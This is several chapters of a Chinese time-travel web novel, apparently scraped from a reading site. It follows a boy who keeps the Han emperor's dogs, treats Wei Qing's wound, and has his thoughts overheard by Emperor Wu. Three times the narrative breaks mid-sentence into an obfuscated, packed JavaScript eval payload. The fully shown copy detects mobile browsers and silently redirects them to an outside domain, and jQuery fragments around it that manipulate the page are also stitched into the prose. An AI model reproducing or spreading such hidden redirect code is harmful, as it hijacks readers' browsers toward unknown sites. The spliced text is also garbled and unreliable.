《在汉武朝当狗官那些年》 1. 狗官 建元三年,于百姓而言可不是个好年景,开春灾难不断,中原一带闹饥荒人相食。 于皇家而言,这一年值得庆贺。 当今天子刘彻同皇后成亲多年膝下犹虚,坊间流言不断,先说皇后不孕,可是后宫不止皇后一个女人,还有婕妤、美人等等,难不成都不孕?因此演变成皇帝刘彻身有顽疾。 风言风语愈演愈烈,大汉江山或将旁落,以至于连刘彻的舅舅执掌兵权的太尉田蚡也在暗戳戳找下家,同刘彻的同族叔叔淮南王暗通款曲。 幸好皇帝后宫有个夫人近日终于传出喜讯,皇帝无需被迫过继侄子,也无需担心各地汉家王爷以无子的名义逼他让出帝位。 不过这些事都同谢晏关系不大,他也没法操心。 谢晏这个名乍看平平无奇,再看也是如此。但他本人有些神奇。 原先谢晏生于二十一世纪,父母是富一代,家中有聪慧的姐姐,持重的兄长,他人如其名,各方面都平平无奇。说好听点他懂事踏实,说难听点他就是个混吃等死的废物富二代。 日子过的无趣,将将冒出遁入空门的念头,网上铺天盖地全是佛门清净之地也不清净的消息。谢晏一气之下熬夜打游戏,结果就这样死了。 令谢晏没有想到的是他又活了,只是从现代到古代。 有兄有姐有钱的富二代变成没爹没娘又没钱的小可怜,还是个虚岁才九岁小孩。 小孩的父亲本是蜀郡大族旁支,识文断字,可惜没到而立之年便撒手人寰。族人惦记他爹留下的家产便逼其母改嫁。母亲改嫁后,族人成日挤兑小孩,骂小孩丧门星更是家常便饭。 小孩选择投河。 谁知世上也不缺好心人。 小孩被救起,谢晏就变成他。 好心人认识小孩,提醒他,“你还有个叔父在宫里当差。” 小孩的叔父早年犯了事被处以宫刑,家人因此颜面无光,便同他断绝来往。谢晏心说人家能搭理他吗。 看看自己的小胳膊小腿,怀抱千金也很难活下去。再说了,他也不想活,便决定夜里再跳河。 没成想听到皇帝驾崩,太子刘彻登基。 谢晏前世是个废物也学过历史,也知道刘彻是何许人也。若是有机会入宫,兴许能见到这位雄才大略的帝王,也不枉他来到此间走一遭。 谢晏请好心人为他写信。 两个月后,叔父不但回来,还把被族人抢去的家产悉数追回,且全归了谢晏。 谢晏决定好好活下去,不能叫叔父白白辛苦一场。 临行前一夜,谢晏饿醒,偷偷摸摸买只鸡——未经主人同意,钱放在鸡窝里,谢晏把鸡抓走。 吃了叫花鸡,谢晏一觉到天亮, 翌日,谢晏醒来听说当地望族谢家大宅着火,堆满仓的粮食,塞满库的绢帛,以及满屋子书皆化为乌有! 谢晏颇为可惜地摇头晃脑感叹一句“几世珍藏啊。”便挎着小包裹,蹦蹦跳跳随叔父进京。 国丧期间没人在意宫里是多个人还是少个人,是以小孩的叔父同管事太监打个招呼就把侄子带进来。 小孩没有大名,其父担心他养不大,他就叫谢小孩。叔父给他起名“晏”,谢晏都傻了,竟然跟前世同名同姓。 谢晏的叔父在皇帝居住朝议的未央宫做事,而未央宫不要小不点,叔父就把他交给蜀郡同乡狗监杨得意,令他在狗舍养狗。从此谢晏成了一名秩两百石的啬夫。 在狗舍三载,今年初狗舍被搬到未央宫西建章。 建章说是一处园林也对,说是前朝遗留的离宫也大差不差。 谢晏随狗搬到建章后看到皇帝隔三差五跑出来,有的时候会牵着猎犬游玩打猎,他才确定这是狗舍搬到建章的真正原因。 亏得以前他还怀疑狗舍在宫里离皇帝太近,太后担心天子玩物丧志才把狗舍移出来。 谢晏在建章半年,迎来炎热的六月。 烈日灼烧着建章的一草一木,庖厨如烤炉,酷暑难耐,谢晏和三五好友在庖厨外搭建一个草棚,在草棚下砌灶做饭。 以前在宫里谢晏是跟着杨得意去大厨房用饭,无需谢晏动手。 搬到建章,没了做饭的太监宫女,一切都要自给自足,杨得意便令比谢晏大几岁的几个啬夫做饭。 可惜不是糊锅就是味道诡异。 谢晏已经决定好好活着,只能接下做饭的重任。否则凭他年仅十二岁脆弱的肠胃,早晚被毒死。 虽然他也不会,可他前世好歹吃过见过,摸摸索索还是能做出来。 在院中桃树下乘凉的杨得意看着谢晏进进出出跟蚂蚁搬家似的心下好奇,走过来一看很是意外,竟然有鸡有羊有鱼和一盆面,“这么热的天,随便吃点就成了。” “今儿阿青和公孙也来用饭。这个鱼和羊都是公孙早上送来的。”谢晏口中的阿青和公孙是卫青和公孙敖,二人也在建章当差,宿舍离狗舍不足一里。 前些日子谢晏晚上太饿,爬起来煎鸡蛋煮面条,被巡逻的公孙敖闻到,公孙敖今年才十六岁,少年心性又自来熟,敲门问谢晏吃的什么。一来二去,两人成了朋友,公孙敖蹬鼻子上脸开始拖家带口,把他好友卫青带过来。 对于撑起大汉脊梁的人之一,大汉未来的大将军卫青,谢晏不止双手欢迎,还因此找到一点活下去的动力——好好做饭,叫大将军吃好喝好。 杨得意能在宫里混到狗监的位子自然不傻。公孙敖和卫青才来几次,他就发现小谢晏终于有了少年的朝气,不再半死不活跟个行尸走肉似的,因此他也希望二人常来。 杨得意闻言便问:“鱼和羊怎么做?” “公孙说大厨房的菜寡淡,我打算用酱烧鱼,羊肉煮面。”谢晏指着案板上的菜,“前些日子在林子里捡了许多木耳,用木耳炖鸡。韭菜烙饼,小葱炒鸡蛋。这么多够了吧?”谢晏扬起巴掌大的小脸,全是汗水也无法遮掩他的稚气。杨得意看在眼里很是羞愧,一群大老爷们叫个孩子做饭。杨得意左右一看,喊几人给他搭把手。 同杨得意年龄相仿的小黄门调侃:“你做什么?” “我监工!”杨得意说的理直气壮,拿起汗巾给小孩擦擦汗,又卷起衣袖把羊排递给小黄门,令其切开。 小黄门边切边问:“卫青和公孙敖天天过来用饭,建章监会不会心生不满?” 杨得意:“给他们省下米面,他还敢不满?我去陛下那儿告他。” 谢晏摇头笑笑。 “你小子不信?”杨得意佯装不快,瞪着眼睛问。 谢晏信!杨得意把狗养的极好,皇帝刘彻每次过来看狗都会称赞他一番,杨得意要是趁机告状,届时挨骂的只会是建章监。 谢晏:“您老是谁啊,大名鼎鼎的狗官,我哪敢不信。” “做你的饭吧。”杨得意朝他脑袋上一巴掌,但没有离开,而是到灶前等着烧火。 谢晏趁着炖羊肉和鱼的功夫又和一瓢面,叫力气大的同僚擀面条。 杨得意皱眉:“不是有模子?用模子压面。” “压出的面没有擀成面皮切出来的香。”谢晏心说,又不用我费力擀面条,自然是怎么好吃怎么来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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公孙敖转身朝厢房走去。谢晏条件反射般跟进去。杨得意终于回过神,三两步进去问:“卫青受伤了?怎么伤的?” 谢晏反应过来:“对啊,你刚才还说没人敢伤他。”看向公孙敖,“怎么会受伤?” 公孙敖拎起药箱:“别人是不敢伤他。可伤他的人不是旁人,是皇后的亲娘,陛下的亲姑姑馆陶公主。” 杨得意奇怪:“馆陶大长公主?她不是在城里吗?卫青在城外,两人八竿子打不着——” 公孙敖边出来边解释:“卫夫人有孕后,皇后嫉妒,馆陶公主心疼闺女,就想收拾卫夫人。可是陛下把卫夫人护的太好,卫家其他人都在城里,又住一块,她不好下手,就挑落单的阿青。我是这样猜的。但我觉得八/九不离十。幸好我们及时发现把阿青抢回来,否则明年今日就是阿青的忌日!” 谢晏顿时感到心惊肉跳:“反了她!杨公公,立刻报官。我随公孙过去!” 杨得意下意识说“好”,可是一想那是皇亲:“廷尉敢管吗?” “你说要是阿青有个三长两短,卫夫人因此伤心过度皇子没了,廷尉敢不敢管?”谢晏反问。 杨得意打个激灵:“对!我这就去报官。你快去!” 谢晏跟着公孙敖上马。 先前开门的啬夫不禁问:“杨公公——” “愣着做什么?备马!”杨得意打断。 小黄门:“杨公公,他想说的可能是阿晏只给牛马和狗看过病,还要时不时翻书,能给卫青止血治伤吗?” 2. 初恋男友 谢晏的小药箱中有驱虫药,有安神药,有清暑药,唯独没有止血药。只因给牲口看病不需要止血药。 伤口小无需止血,伤口过大就把牲口宰了吃肉。横竖皇家钱多粮多,犯不着跟寻常百姓似的把一头牛一只羊当祖宗似的供着。 幸而建章离宫植被茂盛,大蓟草、野红花、白茅、血见愁等可以止血的草药随处可见。 谢晏四下里一瞅就发现不下三种止血药,他令人打盆干净的井水就去薅草,随后把各种野草洗净揉碎全敷在卫青的伤口处。 公孙敖眼看伤口依然往外冒血,忍不住着急:“小孩,阿青为何还在流血?你会不会治?不会我进城找医者。” 谢晏热得汗流浃背,黏糊糊的汗液裹在脸上导致他十分难受,心情受此影响,没好气地回头瞪他,“你当我是神医,立竿见影?!” 卫青宽慰公孙敖:“只是伤在腿上,又不是脖颈和心口处,不敷药也无妨。” 谢晏抬头看向卫青:“谁跟你说伤在脖颈和心口处才会要人命?” 朝他大腿内侧一巴掌,卫青的腿不由得动一下,扯到伤口倒吸一口气。 谢晏心想说,原来你知道疼啊。 “你该庆幸不是伤在这里。若是伤在这里血流尽了,等着截肢吧。”谢晏此话一出,卫青吓得变脸。 谢晏:“知道怕了?捂住伤口,我再找点止血药。公孙,找块干净的布,待会换了药就包扎。” 卫青的另一个同僚闻言便说:“公孙,在这里给小孩搭把手。我去找。” 公孙敖听闻此话就把脏水倒掉,又去打一盆干净的水。 一炷香后,谢晏用衣摆兜回来两三斤草药,往地上一扔,跟草垛似的。卫青再次变脸,感到一阵后怕:“需要这么多吗?” 谢晏寻思着卫青今年才十四岁,搁他前世还是初中生,他前世比卫青大十多岁,两世摞一块可以给他当爹了,登时不好意思吓唬他。 不过该说的还是要说清楚。 “只是止血用不了这么多。你这伤口,看着像是利器所伤,你想想兵器多脏,如今天热易成脓,你不想腿上有个痈疽吧?”谢晏问。 卫青吓得慌忙摇头。 公孙敖看过来,又惊又喜:“血止住了?” 谢晏的小脑袋一甩,十分臭屁地说:“那是当然!也不看看小爷我是谁。” 拿着葛布过来的建章监脚步一顿:“等等,小孩,我怎么记得你只给牲口看过病?前几日你给我的马驱虫,用的就是随手剥开的石榴皮。当日你也是这么说的。” 谢晏只顾得担心卫青,忘记自己是个半桶水兽医,“那——人的命是命,牲口的命不是命了吗?人的血是红色的,牲口的血难不成是黄色的?” “你此话何意?”建章监没成想小鬼头不但敢认,还要倒打一耙,“你真把阿青当牲口治?” 谢晏不好意思承认,“阿青,你说我说的对不对?” 卫青脾气极好:“无论如何血止住了。” 建章监张口结舌,竟发现无言以对。他转向谢晏:“倒是我小瞧你了。” “那你以后别再犯了啊。”谢晏蹲下去收拾草药。 建章监朝他脑袋上使劲按一下,谢晏猝不及防,双膝跪地,正好给卫青磕一个。卫青慌了:“小孩——” 谢晏一点也不吃亏,转身朝建章监腿上一拳,建章监慌忙躲闪,往后趔趄,撞到公孙敖身上。公孙敖听到咔嚓一声,瞬时四周只剩蝉鸣声。 谢晏最先反应过来,很是无辜地说:“不怪我!” 卫青哭笑不得,建章监感到不可思议,看向公孙敖的脚:“你,何时变得如此脆弱?” 公孙敖先前就察觉到脚不对劲,可能是着急救卫青的时候崴到了。待他看到血浸湿了卫青的裤腿就忘了这件事。此刻被建章监一撞,算是彻底错位。 公孙敖一动不敢动,就怕愈发严重:“你不脆弱叫我撞一下试试?” 建章监是公孙敖等人的头目,日常吃住在一处,又因诸人家境相当,是以关系不错。建章监没有在意公孙敖的挤兑,而是问他严重不严重,严重的话他去城中请医者。 谢晏不禁叹了一口气。 建章监朝他看去:“不要说你还会给人接骨?” 谢晏:“人的骨头是骨头——” “牲口的骨头也是骨头?”建章监打断,“牲口四条腿,人也是?” 谢晏噎了一下,“公孙的腿又没断,无需接骨。我会正骨。”眼神示意公孙敖坐下。 公孙敖已经记起他是兽医,不太信他。 谢晏提醒:“再耽搁下去肿起来别怪我。” 公孙敖赶忙挨着卫青坐下。 谢晏脱掉他脚上的葛履,双手在关节前后托住和握住,还没问他疼不疼,公孙敖就龇牙咧嘴。 谢晏换个地方按压,公孙敖表情未变,谢晏便确定问题不大:“阿青,今儿这事你想怎么做?” 卫青被问蒙了。 “别说伤的不重,就此算了。以大长公主的脑子,会认为你怕了。有一就有二。你想永无后患,今日之事务必闹得人尽皆知。”谢晏不了解历史上的卫青,了解如今的卫青,以他的秉性十有八/九想息事宁人,“世上没有不透风的墙。若是被卫夫人知晓,她因为担心你而动了胎气,你便是大汉的罪人!”说到最后两个字,突然加重语气,公孙敖就要附和,“咔嚓”一声,公孙敖哆嗦一下。谢晏把他的脚放地上,拍拍手起身,“再用井凉水冷敷几次,明日这个时候应该可以痊愈。” 公孙敖诧异:“这就好了?” “你的脚又没断,还想休养百日不成?”谢晏转向建章监,“我这个兽医挺好用的吧?” 建章监看着他一脸嘚瑟,假装没听见,去拿擦脚布,然后端一盆水,叫公孙敖自己敷脚。 谢晏不在意地哼一声,给卫青换了药包扎伤口。卫青看着谢晏小小的身板,小小的手,很是不好意思地说:“阿晏,有劳了。” “是不是朋友?”谢晏问。 卫青点头。 “是朋友还说这么见外的话?”谢晏抬眼注意到他脸上有擦伤,又洗一把止血和消炎的草药,揉出草药汁给他敷上。 转眼间,卫青脸上青一块紫一块,跟在草地里打过滚似的。 公孙敖看着他的花脸乐不可支。 “卫青,伤得重不重?” 谢晏本能回头看去,神色一怔,皇帝怎么来了?难不成是杨得意请来的。 杨得意入城后没有去未央宫,他担心卫青失血过多,半桶水兽医谢晏无法止血,便先去西市找医者,后去廷尉府报案。 廷尉着实不敢管皇家的事。杨得意说出卫青是卫夫人的弟弟,有孕在身的卫夫人很是担忧其弟。廷尉顿时不敢无视,即刻随他前往建章。 此刻杨得意和廷尉在半道上,皇帝和医者在离宫路口碰到。 皇帝刘彻之所以知道此事,是因为卫青的一个同僚担心馆陶大长公主的人去而复返,在公孙敖策马前往狗舍找谢晏之际,他打马入城禀报此事。 同僚如此尽心,不止是因为卫青的姐姐是卫夫人,而是他秉性极好,卫夫人身怀六甲的消息传出来,卫青没有因此目无下尘,依然同以前一样本本分分。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177411|180784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卫青慌忙起身见礼,刘彻三两步过来把他按坐在地上,“无需多礼。”发现腿上裹着一圈布,又注意到卫青脸上青一块紫一块,登时气不打一处来,“光天化日之下就敢在宫里动刀枪,她想造反不成?!” 谢晏毫不意外皇帝如此生气。 盼星星盼月亮,终于盼来一个孩子,还没出生就险些毁了,他若是无动于衷,就不是汉武帝。 皇帝安慰卫青:“好生休养,朕定会为你讨回公道!” 谢晏心里很是好奇。 [找谁讨回公道?要是我就找其母太皇太后。馆陶公主有胆子变着法的害汉家血脉,就是太皇太后惯的。养不教,父之过,父没了,母担责!] [正巧这两年皇帝和太皇太后政见不合,事事被太皇太后掣肘。何不趁机大闹一场,太皇太后理亏,往后再碰到朝政分歧,太皇太后势必会退一步。] 刘彻想问谁在说话,然而左右一看,无人开口。 是他听错了?刘彻眉头微蹙,又不得不承认找他姑母馆陶大长公主,亦或者斥责皇后,着实不如直奔东宫找太皇太后主持公道。 不过当务之急是卫青的腿,禀报此事的小吏说他腿上的刀伤有半尺长。皇帝叫他带来的太医为卫青诊治。 太医走近,看到卫青身边分类放好的草药,转身回禀:“陛下,这些草药都是止血药,卫公子的血止住了,已无大碍。” 刘彻来了兴趣:“卫青还懂医理?” 卫青禀报:“微臣不懂。微臣的血是谢晏止住的。”朝身边的谢晏看去。 谢晏低头行礼:“微臣谢晏拜见陛下。” 刘彻没把对面比他矮两头的小孩放在眼里,闻言愣了一瞬:“你?” [瞧不起谁呢?] 谢晏抿抿嘴:“微臣看过几本医术。” 刘彻心里咯噔一下,这次他听得一清二楚,也看得一清二楚,谢晏只说了一句话。刘彻惊得微微张口,想问什么,可是看他的样子显然不知情,估计问也是白问。 刘彻暗暗运气,稳住心神:“朕怎么从未见过你?” [我一个养狗的啬夫,你见过也不会放在心上。再说了,我又不是狗监,往你跟前凑做什么。] 谢晏低着头腹诽,以至于没有发现刘彻看他的眼神十分诡异,他还一派乖巧地说:“微臣以前多在厨房煮狗食。” “原来如此。”刘彻神色复杂地憋出一句,改问太医要不要再给卫青开几服药。 太医朝草药看去,感觉不需要,可卫青是卫夫人的弟弟,卫夫人圣眷正浓啊。太医犹豫片刻,拿出两个黑瓷小瓶递给卫青,一瓶可止血,一瓶可防生脓。 刘彻眼角余光朝谢晏瞥去,什么也没听到。刘彻朝其他人看去,也是什么也没听见。刘彻心下奇怪,难道他只能听到这小鬼的心声。 刘彻朝身侧看去:“韩嫣!” 谢晏不禁跟着转头。 [汉武帝的初恋男友?] 刘彻呼吸一顿,不作他想,汉武帝只能是他。 谥号用“武”想必是对他军事才能的认可,说明他征讨匈奴成功了。不对,他怎么知道自己是汉武帝? 初恋男友又是什么? 不是他认为的那样吧? 刘彻朝谢晏看去。 谢晏很是困惑:“陛下有何吩咐?” 刘彻决定静观其变,兴许今日只是他出宫的方式不对,也有可能天气炎热中暑了,产生了幻觉。 刘彻:“韩嫣,去廷尉府传朕口谕,所有参与绑架打伤卫青的奴仆严惩不贷!她不是嫉妒吗,朕叫她打今日起日日嫉妒!” 3. 老东西 韩嫣把太医和杨得意请的医者打发走就带着见过绑匪的建章监前往廷尉府。 谁知二人才出离宫就碰到廷尉。 馆陶大长公主的夫君乃堂邑侯陈午,她便居住在侯府之中。她的奴仆没有抓到卫青定会前往侯府说明详情,现在出发兴许能把恶人堵在府中。 韩嫣便叫廷尉随他前往堂邑侯府拿人。 再说刘彻。 入城后刘彻直奔太皇太后居住的长乐宫。 刘彻年方十九,血气方刚,又因盼了几年的孩子险些胎死腹中,他越想越恼,见着祖母太皇太后直接问她是不是希望汉家绝后。 太皇太后双目失明,看不见皇帝的样子,只是听这语气也不由得心里咯噔一下。幸而她历经三朝,饱经世故,不动声色地问:“皇帝何出此言?” 皇帝刘彻顺势把馆陶公主干的事和盘托出,末了又说卫青的裤脚全是血,幸好建章有个兽医及时为他止血。此事若被其姊卫氏知晓,即便二人同母异父,不如同父同母的姊妹感情亲厚,卫氏也难免因此黯然伤神。姑母是不是就盼着卫氏动了胎气,孩子早产! 刘彻又问,他是皇帝,姑母是大长公主,他因无子换成旁人主政,姑母还有如今的尊荣吗。当年姑母一心想同皇家结亲,先是挑中长兄,被其母栗姬拒绝,又打起他的主意,不正是为了永保富贵。姑母今日之举看似心疼皇后,然而一旦被她得逞,最终不过是亲者痛仇者快。 太皇太后无言以对,心里暗骂女儿糊涂,卫氏不过是低贱的讴者,竟然能叫她乱了方寸。 刘彻见状心里痛快极了。 前几年他尚未坐稳帝位就推行新政导致朝堂不稳,太皇太后不得不出面安抚老臣。虽然刘彻有意识到他过于着急,可他自幼顺风顺水,从未遇到过坎坷,此事令他颜面扫地,心里很是憋屈,在太皇太后面前也一直直不起腰杆。 终于可以理直气壮一吐为快,刘彻继续,说建章虽是离宫,也是皇家宫苑,光天化日之下,姑母的人就敢在此行凶,长此以往下去,她是不是敢去未央宫把朕绑了。 太皇太后心想说,馆陶不敢。可是她更能理解皇帝的愤怒。这事要不是馆陶干的,无论是谁,太皇太后都会令廷尉严查严惩。 因为正如皇帝所言,天子是刘彻,她是居住在东宫的太皇太后。若是换成在坊间久负盛名的淮南王刘安,她怕是只能搬去建章。 太皇太后叹气:“哀家这就令人把你姑母找来。” 找来向他赔罪吗?刘彻冷不丁意识到不可。 太皇太后此生仅一女两子,分别是馆陶公主和先帝以及梁王。以前太皇太后最疼小儿梁王,一度希望先帝立梁王为太子。馆陶公主常年被忽视。自从前几年小儿子大儿子相继离世,太皇太后心里便只有这一个女儿。 刘彻听其母王太后说过,打在儿身,疼在娘心。 这一点想必对太皇太后一样适用。 今日他得理不饶人,他日太皇太后定会想方设法讨回来。 刘彻:“不必了。姑母也是一时犯糊涂。” 太皇太后面露诧异,向来同她针锋相对的孙儿怎么突然变了?难不成因为卫氏有孕,他认为自己要当父亲,因此稳重了。 刘彻看到祖母的样子,便知道自己猜对了,“此事也不能就此作罢。姑母白天行凶被许多人看在眼里,现在封口也晚了。若不严惩,暗藏在城中的细作定会以姑母的名义再来一次。” 太皇太后担心馆陶个糊涂的受人蛊惑再来一次:“哀家定会叫皇帝满意。” “朕先告退。卫氏估计还不知。朕要告诉她卫青只是受了点皮外伤。”刘彻说完就回未央宫。 太皇太后姓窦,世人又称其为窦太后。因此其女馆陶又被称为“窦太主”。 皇帝走远,窦太后揉揉额角,重重地叹了一口气,面若寒霜:“去把皇后和大长公主给哀家找来!” 小黄门抵达堂邑侯府,正好碰到馆陶极为傲慢地在院中怒斥廷尉。 韩嫣认识长乐宫小黄门,见状就叫廷尉回府衙等着。馆陶不屑地冷嗤一声,小黄门硬着头皮过去,“公主,太后有请。” 这个节骨眼上,又赶着晌午用饭的时候,不应该召她进宫。馆陶不由得多想,给心腹婢女使个眼色,婢女回房拿个荷包,匆匆往里塞一块金币递给小黄门。 小黄门立刻把皇帝说的那番话告诉馆陶公主。 馆陶公主心底好笑,皇帝居然学会了危言耸听。 抵达长乐宫,馆陶笑吟吟问:“娘,您叫我过来是不是因为卫家那小子?一个奴才,死了就死了,值得您兴师动众?” “住口!”窦太后一听这话就知道她找小黄门打听过,“你因何令人掳走卫青,骗得了旁人骗不了哀家!”听到脚步声,窦太后循声转头,“是不是皇后?” 陈后也知道出什么事了,她也觉得此事不值得太皇太后亲自过问。然而看到窦太后面色不好,陈后不敢火上浇油,只能把不以为意的说辞咽回去。 陈后走近,在她身边坐下:“外祖母。” 窦太后朝女儿方向看去,虽然看不见,不妨碍她用脸瞪馆陶,“既然知道卫家那小子不值得哀家动怒,为何区区一个卫氏就值得你明火执仗?” 馆陶不假思索地说:“她若诞下皇长子,陛下立其子为太子,定会废了皇后立卫氏为后!” “谁同你说皇帝会立其子为太子?他问过哀家吗?哀家还没死!卫氏就是生十个八个,皇帝也是立皇后生的嫡子。”窦太后道。 馆陶看着女儿伤神不想说下去,可是她又忍不住辩解:“皇后没能为陛下诞下一儿半女呢?” 窦太后:“皇后无子,你又不许卫氏顺产,哀家问你,各地蠢蠢欲动的藩王会不会借此逼宫?皇帝立卫氏的儿子为太子,皇后被废仍然衣食无忧。以前你弟为了太子的母亲废了无子的薄后,也不曾苛待她。假以时日,换个皇帝,皇后只会沦为阶下囚。你这个姑母最好的结果是被贬为庶人!这一点你想过没有?” 馆陶顿时感到后怕:“娘——” “现在知道我是你娘?早干什么去了?”窦太后没好气地打断。 馆陶意识到老太太真生气了,不敢嘴硬:“那你叫我怎么做,去廷尉府认罪吗?” “我有此意还把你叫过来?”窦太后反问,“可是你也不能当无事发生。” 馆陶听糊涂了,琢磨片刻,试探问道:“参与此事的奴仆交给廷尉?” “一群废物连个半大少年都抓不住,你留着作甚?”窦太后冷声问。 馆陶心里也觉得那些人不中用,闻言冲小黄门招招手,叫他替她去廷尉府。 窦太后转向皇后,语重心长地问:“你担心卫氏有可能生下长子,若是个女儿呢?再说,无论男女,卫氏都为皇帝稳住了帝位。皇帝稳了,你才是皇后。你也可以安心调养身体备孕。” 陈后点点头,意识到窦太后看不见,拉住她的手:“外祖母,我知道错了。卫氏,我——” 窦太后微微摇头:“卫氏不知此事,你就别去添乱了。皇帝没能把此事糊弄过去,害得卫氏动了胎气是他的事。要是你把人气没了,哀家也保不了你。”说到此转向馆陶公主。 馆陶公主不服气,可是一想老太太方才说的那番话,又不得不承认今日是她莽撞。 窦太后依然担心馆陶犯糊涂:“哀家希望这种事是最后一次!” 馆陶赶忙应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他是谢经的侄子?”刘彻很是震惊。谢经在他身边近十年,他是第一次知道谢经还有个侄子。 韩嫣:“五年前谢经的兄长去世,他收到家书后大哭一场,因此臣对此事记忆深刻。后来听说其嫂改嫁,侄子又惨遭族人作践,还曾跳过河,幸好遇到好心人被救起。谢经担心侄子,请了三个月长假把侄子带过来。因为太过年幼,就交给杨得意,令其跟随杨得意养狗。谢家乃蜀郡大族,谢经饱读诗书,他侄子看过医术认识草药不足为奇。”顿了顿,“去掉谢晏不记事的那几年,他在宫外最多四年,这么小的小孩能犯什么事?” 刘彻留意到“跳河”,难道正是那次被鬼附身? 谢小鬼说他是“汉武帝”。倘若小鬼未卜先知,不可能算得如此精准。难不成小鬼比他活得久,切切实实经历过。所以谢小鬼实则是个老东西。 刘彻越想越无法断定谢晏的来历,看来只能从谢晏本人入手:“罢了。” 韩嫣:“卫青那里,臣是不是再去看看他需要什么?” 老东西看起来很是关心卫青,有他在卫青应该可以很快痊愈。刘彻微微摇头,令韩嫣传他口谕,建章监调入宫中,即日起卫青为建章监。 日后卫青手下有人,他不信馆陶还敢绑他。 刘彻仍然不放心,又为其加官“侍中”,侍中可以出入禁宫,卫青再遇到难事可以直接找他。 卫青看起来身体瘦弱,刘彻又赏其百金,令其安心休养。公孙敖等人均有赏。 韩嫣发现唯独漏了谢晏:“陛下,谢晏呢?” 刘彻冷笑:“那个小鬼,表里不一,日后再议!” 4. 与你无关 品尝着香气四溢口感紧实的炙鱼,刘彻眼前不期然浮现出卫青凄惨的样子。 羊肉烤饼、豆豉炖鸡、鹿肉鲍鱼羹等等都等着他一一宠幸,刘彻只能在心里嘀咕,“不知卫青吃了吗。今日之事说起来也是被他连累。虽说卫青身边有个谢老鬼,可是谢老鬼要给狗煮吃食,哪顾得上他。卫青终归是他儿子的舅舅,待会还是去看看他缺什么吧。” 刘彻转向身侧小黄门,眉头微蹙,旋即舒展,晌午当值的居然是谢老鬼的叔父谢经。 谢经在刘彻身边这些年,刘彻从未听到过他的心声。谢经想来一直是谢经。谢老鬼看起来同寻常少年无异,谢经若是听不见他的心声,应当不知道侄子早已被老鬼附身。 刘彻估计无论问他什么都是白问,就叫谢经同膳房说一声,备一份肉饼,再准备两份点心,半个时辰后送来。 半个时辰后,禁卫驾车,刘彻前往建章。 皇宫内苑树木极少,天气燥热。抵达建章园林,清风徐来,鸟语花香,刘彻令随行禁卫让出一匹马来,他策马前往宿舍。 然而卫青不在宿舍。 今日非休沐,公孙敖等人不敢一直离岗,可是卫青小腿的伤口又深又长,要是无人照顾,他无论去茅房,还是起身倒水,都会因为扯到伤口再次流血。 卫青和公孙敖在狗舍用了午饭,公孙敖就问卫青是不是回家。卫青不想吓到母亲,要在建章养伤。 杨得意很有眼力见儿,发现公孙敖犯难,出言邀请卫青在狗舍住下。 杨得意等人不跟狗住一块,他们的宿舍离狗窝有十丈远。狗不乱叫,宿舍还算清净。如今谢晏只管做饭和给牲畜看病,一日可以闲半天,卫青住进来谢晏也能扶他上茅房。 公孙敖认为这个主意极好,不顾卫青反对就回去给他收拾衣物。 卫青等人的赏赐也是这个时候送到。 赏赐分下去,连杨得意都得了两贯钱,唯独谢晏一文没有,即便谢晏表里如一,年方十二,少不更事,也意识到被针对。 谢晏记得前世刷视频,好像刷到过汉武帝喜怒无常。谢晏不想死,不敢贸然开口,眼巴巴看着韩嫣等他解释。 韩嫣向来对刘彻马首是瞻,不舍得诋毁天子:“陛下可能忘了。” 看到韩嫣心虚羞愧,谢晏才敢哼一声。 卫青神色尴尬:“小孩,我——” “与你无关!”谢晏打断,“陛下的姑母光天化日之下草菅人命,他不舍得责罚也就罢了,我给他姑母善后,他的卫夫人才能安心养胎,于情于理,这些赏钱都应当有我一份。我看他是故意的。” 韩嫣在刘彻身边很是放肆,闻言倒也没有觉得谢晏胆大妄为连天子都敢质疑:“既然猜到,那就好好想想是不是在自己不知道的时候做过什么被陛下看见。” 谢晏:“今日是我入宫以来第一次离陛下那么近。” “那我不得而知。”韩嫣早已饥肠辘辘,“卫青,你安心养伤。若是缺什么尽管使人告诉我。” 谢晏不禁瞥韩嫣,抛开他和刘彻的那些传言不谈,这人还怪好的。 韩嫣以为谢晏仍然不快,揉揉他的小脑袋:“陛下不会无缘无故冤枉任何人。” 谢晏不禁冷笑。 韩嫣笑着摇摇头往外走。 卫青拿一块黄金,足足十两,递给谢晏。 谢晏的小手背到身后,脆生生问:“你给的同陛下给的一样吗?不要以为你姐是他的夫人,四舍五入你和他是一家的,你的就是他的。在我这里,你是你,他是他!”板起小脸,“别想蒙混过去!” 公孙敖:“你想亲自找陛下讨要?” 谢晏:“有何不可?有功就要赏。赏罚不明,我看他离昏君——” 杨得意伸手捂住他的嘴巴:“小祖宗,怎么什么都往外秃噜?我看韩大人说的没错,定是你胡言乱语的时候被陛下听见。当日陛下不知道你是谁,看你年幼不曾同你计较。今日认出你才新账旧账一块算。” 谢晏掰开他的手:“洗手了吗?我何时欠过新账?一天天胡叭叭。喂你的狗去!” “回头我就告诉你叔,人不大胆子不小,连陛下也敢讥讽。”杨得意朝他背上一巴掌。 谢晏移到卫青身边,拿走十两金。 杨得意:“不是不要?” 